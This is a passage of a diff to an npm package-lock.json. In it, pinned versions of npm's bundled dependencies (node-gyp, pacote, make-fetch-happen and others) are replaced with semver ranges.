"string-width": "2.1.1" + "colors": "^1.1.2", + "object-assign": "^4.1.0", + "string-width": "^2.1.1" } }, "cliui": { "version": "4.1.0", "bundled": true, "requires": { - "string-width": "2.1.1", - "strip-ansi": "4.0.0", - "wrap-ansi": "2.1.0" + "string-width": "^2.1.1", + "strip-ansi": "^4.0.0", + "wrap-ansi": "^2.0.0" }, "dependencies": { "ansi-regex": { @@ -10137,7 +10182,7 @@ "version": "4.0.0", "bundled": true, "requires": { - "ansi-regex": "3.0.0" + "ansi-regex": "^3.0.0" } } } @@ -10150,8 +10195,8 @@ "version": "2.0.2", "bundled": true, "requires": { - "graceful-fs": "4.1.11", - "mkdirp": "0.5.1" + "graceful-fs": "^4.1.2", + "mkdirp": "~0.5.0" } }, "co": { @@ -10166,7 +10211,7 @@ "version": "1.9.1", "bundled": true, "requires": { - "color-name": "1.1.3" + "color-name": "^1.1.1" } }, "color-name": { @@ -10182,15 +10227,15 @@ "version": "1.5.4", "bundled": true, "requires": { - "strip-ansi": "3.0.1", - "wcwidth": "1.0.1" + "strip-ansi": "^3.0.0", + "wcwidth": "^1.0.0" } }, "combined-stream": { "version": "1.0.6", "bundled": true, "requires": { - "delayed-stream": "1.0.0" + "delayed-stream": "~1.0.0" } }, "concat-map": { @@ -10201,30 +10246,30 @@ "version": "1.6.2", "bundled": true, "requires": { - "buffer-from": "1.0.0", - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "typedarray": "0.0.6" + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" } }, "config-chain": { "version": "1.1.11", "bundled": true, "requires": { - "ini": "1.3.5", - "proto-list": "1.2.4" + "ini": "^1.3.4", + "proto-list": "~1.2.1" } }, "configstore": { "version": "3.1.2", "bundled": true, "requires": { - "dot-prop": "4.2.0", - "graceful-fs": "4.1.11", - "make-dir": "1.3.0", - "unique-string": "1.0.0", - "write-file-atomic": "2.3.0", - "xdg-basedir": "3.0.0" + "dot-prop": "^4.1.0", + "graceful-fs": "^4.1.2", + "make-dir": "^1.0.0", + "unique-string": "^1.0.0", + "write-file-atomic": "^2.0.0", + "xdg-basedir": "^3.0.0" } }, "console-control-strings": { @@ -10235,12 +10280,12 @@ "version": "1.0.5", "bundled": true, "requires": { - "aproba": "1.2.0", - "fs-write-stream-atomic": "1.0.10", - "iferr": "0.1.5", - "mkdirp": "0.5.1", - "rimraf": "2.6.2", - "run-queue": "1.0.3" + "aproba": "^1.1.1", + "fs-write-stream-atomic": "^1.0.8", + "iferr": "^0.1.5", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.0" }, "dependencies": { "iferr": { @@ -10257,16 +10302,16 @@ "version": "3.0.2", "bundled": true, "requires": { - "capture-stack-trace": "1.0.0" + "capture-stack-trace": "^1.0.0" } }, "cross-spawn": { "version": "5.1.0", "bundled": true, "requires": { - "lru-cache": "4.1.3", - "shebang-command": "1.2.0", - "which": "1.3.1" + "lru-cache": "^4.0.1", + "shebang-command": "^1.2.0", + "which": "^1.2.9" } }, "crypto-random-string": { @@ -10281,7 +10326,7 @@ "version": "1.14.1", "bundled": true, "requires": { - "assert-plus": "1.0.0" + "assert-plus": "^1.0.0" } }, "debug": { @@ -10317,7 +10362,7 @@ "version": "1.0.3", "bundled": true, "requires": { - "clone": "1.0.4" + "clone": "^1.0.2" } }, "delayed-stream": { @@ -10340,15 +10385,15 @@ "version": "1.0.3", "bundled": true, "requires": { - "asap": "2.0.6", - "wrappy": "1.0.2" + "asap": "^2.0.0", + "wrappy": "1" } }, "dot-prop": { "version": "4.2.0", "bundled": true, "requires": { - "is-obj": "1.0.1" + "is-obj": "^1.0.0" } }, "dotenv": { @@ -10363,10 +10408,10 @@ "version": "3.6.0", "bundled": true, "requires": { - "end-of-stream": "1.4.1", - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "stream-shift": "1.0.0" + "end-of-stream": "^1.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.0.0", + "stream-shift": "^1.0.0" } }, "ecc-jsbn": { @@ -10374,8 +10419,8 @@ "bundled": true, "optional": true, "requires": { - "jsbn": "0.1.1", - "safer-buffer": "2.1.2" + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" } }, "editor": { @@ -10386,14 +10431,14 @@ "version": "0.1.12", "bundled": true, "requires": { - "iconv-lite": "0.4.23" + "iconv-lite": "~0.4.13" } }, "end-of-stream": { "version": "1.4.1", "bundled": true, "requires": { - "once": "1.4.0" + "once": "^1.4.0" } }, "err-code": { @@ -10404,7 +10449,7 @@ "version": "0.1.7", "bundled": true, "requires": { - "prr": "1.0.1" + "prr": "~1.0.1" } }, "es6-promise": { @@ -10415,7 +10460,7 @@ "version": "5.0.0", "bundled": true, "requires": { - "es6-promise": "4.2.4" + "es6-promise": "^4.0.3" } }, "escape-string-regexp": { @@ -10426,13 +10471,13 @@ "version": "0.7.0", "bundled": true, "requires": { - "cross-spawn": "5.1.0", - "get-stream": "3.0.0", - "is-stream": "1.1.0", - "npm-run-path": "2.0.2", - "p-finally": "1.0.0", - "signal-exit": "3.0.2", - "strip-eof": "1.0.0" + "cross-spawn": "^5.0.1", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" } }, "extend": { @@ -10463,15 +10508,15 @@ "version": "2.1.0", "bundled": true, "requires": { - "locate-path": "2.0.0" + "locate-path": "^2.0.0" } }, "flush-write-stream": { "version": "1.0.3", "bundled": true, "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" + "inherits": "^2.0.1", + "readable-stream": "^2.0.4" } }, "forever-agent": { @@ -10482,43 +10527,43 @@ "version": "2.3.2", "bundled": true, "requires": { - "asynckit": "0.4.0", + "asynckit": "^0.4.0", "combined-stream": "1.0.6", - "mime-types": "2.1.19" + "mime-types": "^2.1.12" } }, "from2": { "version": "2.3.0", "bundled": true, "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" } }, "fs-minipass": { "version": "1.2.5", "bundled": true, "requires": { - "minipass": "2.3.3" + "minipass": "^2.2.1" } }, "fs-vacuum": { "version": "1.2.10", "bundled": true, "requires": { - "graceful-fs": "4.1.11", - "path-is-inside": "1.0.2", - "rimraf": "2.6.2" + "graceful-fs": "^4.1.2", + "path-is-inside": "^1.0.1", + "rimraf": "^2.5.2" } }, "fs-write-stream-atomic": { "version": "1.0.10", "bundled": true, "requires": { - "graceful-fs": "4.1.11", - "iferr": "0.1.5", - "imurmurhash": "0.1.4", - "readable-stream": "2.3.6" + "graceful-fs": "^4.1.2", + "iferr": "^0.1.5", + "imurmurhash": "^0.1.4", + "readable-stream": "1 || 2" }, "dependencies": { "iferr": { @@ -10535,33 +10580,33 @@ "version": "1.0.11", "bundled": true, "requires": { - "graceful-fs": "4.1.11", - "inherits": "2.0.3", - "mkdirp": "0.5.1", - "rimraf": "2.6.2" + "graceful-fs": "^4.1.2", + "inherits": "~2.0.0", + "mkdirp": ">=0.5 0", + "rimraf": "2" } }, "gauge": { "version": "2.7.4", "bundled": true, "requires": { - "aproba": "1.2.0", - "console-control-strings": "1.1.0", - "has-unicode": "2.0.1", - "object-assign": "4.1.1", - "signal-exit": "3.0.2", - "string-width": "1.0.2", - "strip-ansi": "3.0.1", - "wide-align": "1.1.2" + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" }, "dependencies": { "string-width": { "version": "1.0.2", "bundled": true, "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" } } } @@ -10574,14 +10619,14 @@ "version": "2.0.1", "bundled": true, "requires": { - "aproba": "1.2.0", - "fs-vacuum": "1.2.10", - "graceful-fs": "4.1.11", - "iferr": "0.1.5", - "mkdirp": "0.5.1", - "path-is-inside": "1.0.2", - "read-cmd-shim": "1.0.1", - "slide": "1.1.6" + "aproba": "^1.1.2", + "fs-vacuum": "^1.2.10", + "graceful-fs": "^4.1.11", + "iferr": "^0.1.5", + "mkdirp": "^0.5.1", + "path-is-inside": "^1.0.2", + "read-cmd-shim": "^1.0.1", + "slide": "^1.1.6" }, "dependencies": { "iferr": { @@ -10602,43 +10647,43 @@ "version": "0.1.7", "bundled": true, "requires": { - "assert-plus": "1.0.0" + "assert-plus": "^1.0.0" } }, "glob": { "version": "7.1.2", "bundled": true, "requires": { - "fs.realpath": "1.0.0", - "inflight": "1.0.6", - "inherits": "2.0.3", - "minimatch": "3.0.4", - "once": "1.4.0", - "path-is-absolute": "1.0.1" + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" } }, "global-dirs": { "version": "0.1.1", "bundled": true, "requires": { - "ini": "1.3.5" + "ini": "^1.3.4" } }, "got": { "version": "6.7.1", "bundled": true, "requires": { - "create-error-class": "3.0.2", - "duplexer3": "0.1.4", - "get-stream": "3.0.0", - "is-redirect": "1.0.0", - "is-retry-allowed": "1.1.0", - "is-stream": "1.1.0", - "lowercase-keys": "1.0.1", - "safe-buffer": "5.1.2", - "timed-out": "4.0.1", - "unzip-response": "2.0.1", - "url-parse-lax": "1.0.0" + "create-error-class": "^3.0.0", + "duplexer3": "^0.1.4", + "get-stream": "^3.0.0", + "is-redirect": "^1.0.0", + "is-retry-allowed": "^1.0.0", + "is-stream": "^1.0.0", + "lowercase-keys": "^1.0.0", + "safe-buffer": "^5.0.1", + "timed-out": "^4.0.0", + "unzip-response": "^2.0.1", + "url-parse-lax": "^1.0.0" } }, "graceful-fs": { @@ -10653,8 +10698,8 @@ "version": "5.1.0", "bundled": true, "requires": { - "ajv": "5.5.2", - "har-schema": "2.0.0" + "ajv": "^5.3.0", + "har-schema": "^2.0.0" } }, "has-flag": { @@ -10677,7 +10722,7 @@ "version": "2.1.0", "bundled": true, "requires": { - "agent-base": "4.2.0", + "agent-base": "4", "debug": "3.1.0" } }, @@ -10685,31 +10730,31 @@ "version": "1.2.0", "bundled": true, "requires": { - "assert-plus": "1.0.0", - "jsprim": "1.4.1", - "sshpk": "1.14.2" + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" } }, "https-proxy-agent": { "version": "2.2.1", "bundled": true, "requires": { - "agent-base": "4.2.0", - "debug": "3.1.0" + "agent-base": "^4.1.0", + "debug": "^3.1.0" } }, "humanize-ms": { "version": "1.2.1", "bundled": true, "requires": { - "ms": "2.1.1" + "ms": "^2.0.0" } }, "iconv-lite": { "version": "0.4.23", "bundled": true, "requires": { - "safer-buffer": "2.1.2" + "safer-buffer": ">= 2.1.2 < 3" } }, "iferr": { @@ -10720,7 +10765,7 @@ "version": "3.0.1", "bundled": true, "requires": { - "minimatch": "3.0.4" + "minimatch": "^3.0.4" } }, "import-lazy": { @@ -10735,8 +10780,8 @@ "version": "1.0.6", "bundled": true, "requires": { - "once": "1.4.0", - "wrappy": "1.0.2" + "once": "^1.3.0", + "wrappy": "1" } }, "inherits": { @@ -10751,14 +10796,14 @@ "version": "1.10.3", "bundled": true, "requires": { - "glob": "7.1.2", - "npm-package-arg": "6.1.0", - "promzard": "0.3.0", - "read": "1.0.7", - "read-package-json": "2.0.13", - "semver": "5.5.0", - "validate-npm-package-license": "3.0.4", - "validate-npm-package-name": "3.0.0" + "glob": "^7.1.1", + "npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0", + "promzard": "^0.3.0", + "read": "~1.0.1", + "read-package-json": "1 || 2", + "semver": "2.x || 3.x || 4 || 5", + "validate-npm-package-license": "^3.0.1", + "validate-npm-package-name": "^3.0.0" } }, "invert-kv": { @@ -10777,36 +10822,36 @@ "version": "1.0.0", "bundled": true, "requires": { - "builtin-modules": "1.1.1" + "builtin-modules": "^1.0.0" } }, "is-ci": { "version": "1.1.0", "bundled": true, "requires": { - "ci-info": "1.4.0" + "ci-info": "^1.0.0" } }, "is-cidr": { "version": "2.0.6", "bundled": true, "requires": { - "cidr-regex": "2.0.9" + "cidr-regex": "^2.0.8" } }, "is-fullwidth-code-point": { "version": "1.0.0", "bundled": true, "requires": { - "number-is-nan": "1.0.1" + "number-is-nan": "^1.0.0" } }, "is-installed-globally": { "version": "0.1.0", "bundled": true, "requires": { - "global-dirs": "0.1.1", - "is-path-inside": "1.0.1" + "global-dirs": "^0.1.0", + "is-path-inside": "^1.0.0" } }, "is-npm": { @@ -10821,7 +10866,7 @@ "version": "1.0.1", "bundled": true, "requires": { - "path-is-inside": "1.0.2" + "path-is-inside": "^1.0.1" } }, "is-redirect": { @@ -10891,7 +10936,7 @@ "version": "3.1.0", "bundled": true, "requires": { - "package-json": "4.0.1" + "package-json": "^4.0.0" } }, "lazy-property": { @@ -10902,46 +10947,46 @@ "version": "1.0.0", "bundled": true, "requires": { - "invert-kv": "1.0.0" + "invert-kv": "^1.0.0" } }, "libcipm": { "version": "2.0.2", "bundled": true, "requires": { - "bin-links": "1.1.2", - "bluebird": "3.5.1", - "find-npm-prefix": "1.0.2", - "graceful-fs": "4.1.11", - "lock-verify": "2.0.2", - "mkdirp": "0.5.1", - "npm-lifecycle": "2.1.0", - "npm-logical-tree": "1.2.1", - "npm-package-arg": "6.1.0", - "pacote": "8.1.6", - "protoduck": "5.0.0", - "read-package-json": "2.0.13", - "rimraf": "2.6.2", - "worker-farm": "1.6.0" + "bin-links": "^1.1.2", + "bluebird": "^3.5.1", + "find-npm-prefix": "^1.0.2", + "graceful-fs": "^4.1.11", + "lock-verify": "^2.0.2", + "mkdirp": "^0.5.1", + "npm-lifecycle": "^2.0.3", + "npm-logical-tree": "^1.2.1", + "npm-package-arg": "^6.1.0", + "pacote": "^8.1.6", + "protoduck": "^5.0.0", + "read-package-json": "^2.0.13", + "rimraf": "^2.6.2", + "worker-farm": "^1.6.0" } }, "libnpmhook": { "version": "4.0.1", "bundled": true, "requires": { - "figgy-pudding": "3.4.1", - "npm-registry-fetch": "3.1.1" + "figgy-pudding": "^3.1.0", + "npm-registry-fetch": "^3.0.0" }, "dependencies": { "npm-registry-fetch": { "version": "3.1.1", "bundled": true, "requires": { - "bluebird": "3.5.1", - "figgy-pudding": "3.4.1", - "lru-cache": "4.1.3", - "make-fetch-happen": "4.0.1", - "npm-package-arg": "6.1.0" + "bluebird": "^3.5.1", + "figgy-pudding": "^3.1.0", + "lru-cache": "^4.1.2", + "make-fetch-happen": "^4.0.0", + "npm-package-arg": "^6.0.0" } } } @@ -10950,37 +10995,37 @@ "version": "10.2.0", "bundled": true, "requires": { - "dotenv": "5.0.1", - "npm-package-arg": "6.1.0", - "rimraf": "2.6.2", - "safe-buffer": "5.1.2", - "update-notifier": "2.5.0", - "which": "1.3.1", - "y18n": "4.0.0", - "yargs": "11.0.0" + "dotenv": "^5.0.1", + "npm-package-arg": "^6.0.0", + "rimraf": "^2.6.2", + "safe-buffer": "^5.1.0", + "update-notifier": "^2.3.0", + "which": "^1.3.0", + "y18n": "^4.0.0", + "yargs": "^11.0.0" } }, "locate-path": { "version": "2.0.0", "bundled": true, "requires": { - "p-locate": "2.0.0", - "path-exists": "3.0.0" + "p-locate": "^2.0.0", + "path-exists": "^3.0.0" } }, "lock-verify": { "version": "2.0.2", "bundled": true, "requires": { - "npm-package-arg": "6.1.0", - "semver": "5.5.0" + "npm-package-arg": "^5.1.2 || 6", + "semver": "^5.4.1" } }, "lockfile": { "version": "1.0.4", "bundled": true, "requires": { - "signal-exit": "3.0.2" + "signal-exit": "^3.0.2" } }, "lodash._baseindexof": { @@ -10991,8 +11036,8 @@ "version": "4.6.0", "bundled": true, "requires": { - "lodash._createset": "4.0.3", - "lodash._root": "3.0.1" + "lodash._createset": "~4.0.0", + "lodash._root": "~3.0.0" } }, "lodash._bindcallback": { @@ -11007,7 +11052,7 @@ "version": "3.1.2", "bundled": true, "requires": { - "lodash._getnative": "3.9.1" + "lodash._getnative": "^3.0.0" } }, "lodash._createset": { @@ -11050,32 +11095,32 @@ "version": "4.1.3", "bundled": true, "requires": { - "pseudomap": "1.0.2", - "yallist": "2.1.2" + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" } }, "make-dir": { "version": "1.3.0", "bundled": true, "requires": { - "pify": "3.0.0" + "pify": "^3.0.0" } }, "make-fetch-happen": { "version": "4.0.1", "bundled": true, "requires": { - "agentkeepalive": "3.4.1", - "cacache": "11.2.0", - "http-cache-semantics": "3.8.1", - "http-proxy-agent": "2.1.0", - "https-proxy-agent": "2.2.1", - "lru-cache": "4.1.3", - "mississippi": "3.0.0", - "node-fetch-npm": "2.0.2", - "promise-retry": "1.1.1", - "socks-proxy-agent": "4.0.1", - "ssri": "6.0.0" + "agentkeepalive": "^3.4.1", + "cacache": "^11.0.1", + "http-cache-semantics": "^3.8.1", + "http-proxy-agent": "^2.1.0", + "https-proxy-agent": "^2.2.1", + "lru-cache": "^4.1.2", + "mississippi": "^3.0.0", + "node-fetch-npm": "^2.0.2", + "promise-retry": "^1.1.1", + "socks-proxy-agent": "^4.0.0", + "ssri": "^6.0.0" } }, "meant": { @@ -11086,7 +11131,7 @@ "version": "1.1.0", "bundled": true, "requires": { - "mimic-fn": "1.2.0" + "mimic-fn": "^1.0.0" } }, "mime-db": { @@ -11097,7 +11142,7 @@ "version": "2.1.19", "bundled": true, "requires": { - "mime-db": "1.35.0" + "mime-db": "~1.35.0" } }, "mimic-fn": { @@ -11108,7 +11153,7 @@ "version": "3.0.4", "bundled": true, "requires": { - "brace-expansion": "1.1.11" + "brace-expansion": "^1.1.7" } }, "minimist": { @@ -11119,8 +11164,8 @@ "version": "2.3.3", "bundled": true, "requires": { - "safe-buffer": "5.1.2", - "yallist": "3.0.2" + "safe-buffer": "^5.1.2", + "yallist": "^3.0.0" }, "dependencies": { "yallist": { @@ -11133,23 +11178,23 @@ "version": "1.1.0", "bundled": true, "requires": { - "minipass": "2.3.3" + "minipass": "^2.2.1" } }, "mississippi": { "version": "3.0.0", "bundled": true, "requires": { - "concat-stream": "1.6.2", - "duplexify": "3.6.0", - "end-of-stream": "1.4.1", - "flush-write-stream": "1.0.3", - "from2": "2.3.0", - "parallel-transform": "1.1.0", - "pump": "3.0.0", - "pumpify": "1.5.1", - "stream-each": "1.2.2", - "through2": "2.0.3" + "concat-stream": "^1.5.0", + "duplexify": "^3.4.2", + "end-of-stream": "^1.1.0", + "flush-write-stream": "^1.0.0", + "from2": "^2.1.0", + "parallel-transform": "^1.1.0", + "pump": "^3.0.0", + "pumpify": "^1.3.3", + "stream-each": "^1.1.0", + "through2": "^2.0.0" } }, "mkdirp": { @@ -11163,12 +11208,12 @@ "version": "1.0.1", "bundled": true, "requires": { - "aproba": "1.2.0", - "copy-concurrently": "1.0.5", - "fs-write-stream-atomic": "1.0.10", - "mkdirp": "0.5.1", - "rimraf": "2.6.2", - "run-queue": "1.0.3" + "aproba": "^1.1.1", + "copy-concurrently": "^1.0.0", + "fs-write-stream-atomic": "^1.0.8", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.3" } }, "ms": { @@ -11183,34 +11228,34 @@ "version": "2.0.2", "bundled": true, "requires": { - "encoding": "0.1.12", - "json-parse-better-errors": "1.0.2", - "safe-buffer": "5.1.2" + "encoding": "^0.1.11", + "json-parse-better-errors": "^1.0.0", + "safe-buffer": "^5.1.1" } }, "node-gyp": { "version": "3.8.0", "bundled": true, "requires": { - "fstream": "1.0.11", - "glob": "7.1.2", - "graceful-fs": "4.1.11", - "mkdirp": "0.5.1", - "nopt": "3.0.6", - "npmlog": "4.1.2", - "osenv": "0.1.5", - "request": "2.88.0", - "rimraf": "2.6.2", - "semver": "5.3.0", - "tar": "2.2.1", - "which": "1.3.1" + "fstream": "^1.0.0", + "glob": "^7.0.3", + "graceful-fs": "^4.1.2", + "mkdirp": "^0.5.0", + "nopt": "2 || 3", + "npmlog": "0 || 1 || 2 || 3 || 4", + "osenv": "0", + "request": "^2.87.0", + "rimraf": "2", + "semver": "~5.3.0", + "tar": "^2.0.0", + "which": "1" }, "dependencies": { "nopt": { "version": "3.0.6", "bundled": true, "requires": { - "abbrev": "1.1.1" + "abbrev": "1" } }, "semver": { @@ -11221,9 +11266,9 @@ "version": "2.2.1", "bundled": true, "requires": { - "block-stream": "0.0.9", - "fstream": "1.0.11", - "inherits": "2.0.3" + "block-stream": "*", + "fstream": "^1.0.2", + "inherits": "2" } } } @@ -11232,26 +11277,26 @@ "version": "4.0.1", "bundled": true, "requires": { - "abbrev": "1.1.1", - "osenv": "0.1.5" + "abbrev": "1", + "osenv": "^0.1.4" } }, "normalize-package-data": { "version": "2.4.0", "bundled": true, "requires": { - "hosted-git-info": "2.7.1", - "is-builtin-module": "1.0.0", - "semver": "5.5.0", - "validate-npm-package-license": "3.0.4" + "hosted-git-info": "^2.1.4", + "is-builtin-module": "^1.0.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" } }, "npm-audit-report": { "version": "1.3.1", "bundled": true, "requires": { - "cli-table3": "0.5.0", - "console-control-strings": "1.1.0" + "cli-table3": "^0.5.0", + "console-control-strings": "^1.1.0" } }, "npm-bundled": { @@ -11266,21 +11311,21 @@ "version": "3.0.0", "bundled": true, "requires": { - "semver": "5.5.0" + "semver": "^2.3.0 || 3.x || 4 || 5" } }, "npm-lifecycle": { "version": "2.1.0", "bundled": true, "requires": { - "byline": "5.0.0", - "graceful-fs": "4.1.11", - "node-gyp": "3.8.0", - "resolve-from": "4.0.0", - "slide": "1.1.6", + "byline": "^5.0.0", + "graceful-fs": "^4.1.11", + "node-gyp": "^3.8.0", + "resolve-from": "^4.0.0", + "slide": "^1.1.6", "uid-number": "0.0.6", - "umask": "1.1.0", - "which": "1.3.1" + "umask": "^1.1.0", + "which": "^1.3.1" } }, "npm-logical-tree": { @@ -11291,52 +11336,52 @@ "version": "6.1.0", "bundled": true, "requires": { - "hosted-git-info": "2.7.1", - "osenv": "0.1.5", - "semver": "5.5.0", - "validate-npm-package-name": "3.0.0" + "hosted-git-info": "^2.6.0", + "osenv": "^0.1.5", + "semver": "^5.5.0", + "validate-npm-package-name": "^3.0.0" } }, "npm-packlist": { "version": "1.1.11", "bundled": true, "requires": { - "ignore-walk": "3.0.1", - "npm-bundled": "1.0.5" + "ignore-walk": "^3.0.1", + "npm-bundled": "^1.0.1" } }, "npm-pick-manifest": { "version": "2.1.0", "bundled": true, "requires": { - "npm-package-arg": "6.1.0", - "semver": "5.5.0" + "npm-package-arg": "^6.0.0", + "semver": "^5.4.1" } }, "npm-profile": { "version": "3.0.2", "bundled": true, "requires": { - "aproba": "1.2.0", - "make-fetch-happen": "4.0.1" + "aproba": "^1.1.2 || 2", + "make-fetch-happen": "^2.5.0 || 3 || 4" } }, "npm-registry-client": { "version": "8.6.0", "bundled": true, "requires": { - "concat-stream": "1.6.2", - "graceful-fs": "4.1.11", - "normalize-package-data": "2.4.0", - "npm-package-arg": "6.1.0", - "npmlog": "4.1.2", - "once": "1.4.0", - "request": "2.88.0", - "retry": "0.10.1", - "safe-buffer": "5.1.2", - "semver": "5.5.0", - "slide": "1.1.6", - "ssri": "5.3.0" + "concat-stream": "^1.5.2", + "graceful-fs": "^4.1.6", + "normalize-package-data": "~1.0.1 || ^2.0.0", + "npm-package-arg": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0", + "npmlog": "2 || ^3.1.0 || ^4.0.0", + "once": "^1.3.3", + "request": "^2.74.0", + "retry": "^0.10.0", + "safe-buffer": "^5.1.1", + "semver": "2 >=2.2.1 || 3.x || 4 || 5", + "slide": "^1.1.3", + "ssri": "^5.2.4" }, "dependencies": { "retry": { @@ -11347,7 +11392,7 @@ "version": "5.3.0", "bundled": true, "requires": { - "safe-buffer": "5.1.2" + "safe-buffer": "^5.1.1" } } } @@ -11356,47 +11401,47 @@ "version": "1.1.0", "bundled": true, "requires": { - "bluebird": "3.5.1", - "figgy-pudding": "2.0.1", - "lru-cache": "4.1.3", - "make-fetch-happen": "3.0.0", - "npm-package-arg": "6.1.0", - "safe-buffer": "5.1.2" + "bluebird": "^3.5.1", + "figgy-pudding": "^2.0.1", + "lru-cache": "^4.1.2", + "make-fetch-happen": "^3.0.0", + "npm-package-arg": "^6.0.0", + "safe-buffer": "^5.1.1" }, "dependencies": { "cacache": { "version": "10.0.4", "bundled": true, "requires": { - "bluebird": "3.5.1", - "chownr": "1.0.1", - "glob": "7.1.2", - "graceful-fs": "4.1.11", - "lru-cache": "4.1.3", - "mississippi": "2.0.0", - "mkdirp": "0.5.1", - "move-concurrently": "1.0.1", - "promise-inflight": "1.0.1", - "rimraf": "2.6.2", - "ssri": "5.3.0", - "unique-filename": "1.1.0", - "y18n": "4.0.0" + "bluebird": "^3.5.1", + "chownr": "^1.0.1", + "glob": "^7.1.2", + "graceful-fs": "^4.1.11", + "lru-cache": "^4.1.1", + "mississippi": "^2.0.0", + "mkdirp": "^0.5.1", + "move-concurrently": "^1.0.1", + "promise-inflight": "^1.0.1", + "rimraf": "^2.6.2", + "ssri": "^5.2.4", + "unique-filename": "^1.1.0", + "y18n": "^4.0.0" }, "dependencies": { "mississippi": { "version": "2.0.0", "bundled": true, "requires": { - "concat-stream": "1.6.2", - "duplexify": "3.6.0", - "end-of-stream": "1.4.1", - "flush-write-stream": "1.0.3", - "from2": "2.3.0", - "parallel-transform": "1.1.0", - "pump": "2.0.1", - "pumpify": "1.5.1", - "stream-each": "1.2.2", - "through2": "2.0.3" + "concat-stream": "^1.5.0", + "duplexify": "^3.4.2", + "end-of-stream": "^1.1.0", + "flush-write-stream": "^1.0.0", + "from2": "^2.1.0", + "parallel-transform": "^1.1.0", + "pump": "^2.0.1", + "pumpify": "^1.3.3", + "stream-each": "^1.1.0", + "through2": "^2.0.0" } } } @@ -11409,25 +11454,25 @@ "version": "3.0.0", "bundled": true, "requires": { - "agentkeepalive": "3.4.1", - "cacache": "10.0.4", - "http-cache-semantics": "3.8.1", - "http-proxy-agent": "2.1.0", - "https-proxy-agent": "2.2.1", - "lru-cache": "4.1.3", - "mississippi": "3.0.0", - "node-fetch-npm": "2.0.2", - "promise-retry": "1.1.1", - "socks-proxy-agent": "3.0.1", - "ssri": "5.3.0" + "agentkeepalive": "^3.4.1", + "cacache": "^10.0.4", + "http-cache-semantics": "^3.8.1", + "http-proxy-agent": "^2.1.0", + "https-proxy-agent": "^2.2.0", + "lru-cache": "^4.1.2", + "mississippi": "^3.0.0", + "node-fetch-npm": "^2.0.2", + "promise-retry": "^1.1.1", + "socks-proxy-agent": "^3.0.1", + "ssri": "^5.2.4" } }, "pump": { "version": "2.0.1", "bundled": true, "requires": { - "end-of-stream": "1.4.1", - "once": "1.4.0" + "end-of-stream": "^1.1.0", + "once": "^1.3.1" } }, "smart-buffer": { @@ -11438,23 +11483,23 @@ "version": "1.1.10", "bundled": true, "requires": { - "ip": "1.1.5", - "smart-buffer": "1.1.15" + "ip": "^1.1.4", + "smart-buffer": "^1.0.13" } }, "socks-proxy-agent": { "version": "3.0.1", "bundled": true, "requires": { - "agent-base": "4.2.0", - "socks": "1.1.10" + "agent-base": "^4.1.0", + "socks": "^1.1.10" } }, "ssri": { "version": "5.3.0", "bundled": true, "requires": { - "safe-buffer": "5.1.2" + "safe-buffer": "^5.1.1" } } } @@ -11463,7 +11508,7 @@ "version": "2.0.2", "bundled": true, "requires": { - "path-key": "2.0.1" + "path-key": "^2.0.0" } }, "npm-user-validate": { @@ -11474,10 +11519,10 @@ "version": "4.1.2", "bundled": true, "requires": { - "are-we-there-yet": "1.1.4", - "console-control-strings": "1.1.0", - "gauge": "2.7.4", - "set-blocking": "2.0.0" + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" } }, "number-is-nan": { @@ -11496,7 +11541,7 @@ "version": "1.4.0", "bundled": true, "requires": { - "wrappy": "1.0.2" + "wrappy": "1" } }, "opener": { @@ -11511,9 +11556,9 @@ "version": "2.1.0", "bundled": true, "requires": { - "execa": "0.7.0", - "lcid": "1.0.0", - "mem": "1.1.0" + "execa": "^0.7.0", + "lcid": "^1.0.0", + "mem": "^1.1.0" } }, "os-tmpdir": { @@ -11524,8 +11569,8 @@ "version": "0.1.5", "bundled": true, "requires": { - "os-homedir": "1.0.2", - "os-tmpdir": "1.0.2" + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" } }, "p-finally": { @@ -11536,14 +11581,14 @@ "version": "1.2.0", "bundled": true, "requires": { - "p-try": "1.0.0" + "p-try": "^1.0.0" } }, "p-locate": { "version": "2.0.0", "bundled": true, "requires": { - "p-limit": "1.2.0" + "p-limit": "^1.1.0" } }, "p-try": { @@ -11554,50 +11599,50 @@ "version": "4.0.1", "bundled": true, "requires": { - "got": "6.7.1", - "registry-auth-token": "3.3.2", - "registry-url": "3.1.0", - "semver": "5.5.0" + "got": "^6.7.1", + "registry-auth-token": "^3.0.1", + "registry-url": "^3.0.3", + "semver": "^5.1.0" } }, "pacote": { "version": "8.1.6", "bundled": true, "requires": { - "bluebird": "3.5.1", - "cacache": "11.2.0", - "get-stream": "3.0.0", - "glob": "7.1.2", - "lru-cache": "4.1.3", - "make-fetch-happen": "4.0.1", - "minimatch": "3.0.4", - "minipass": 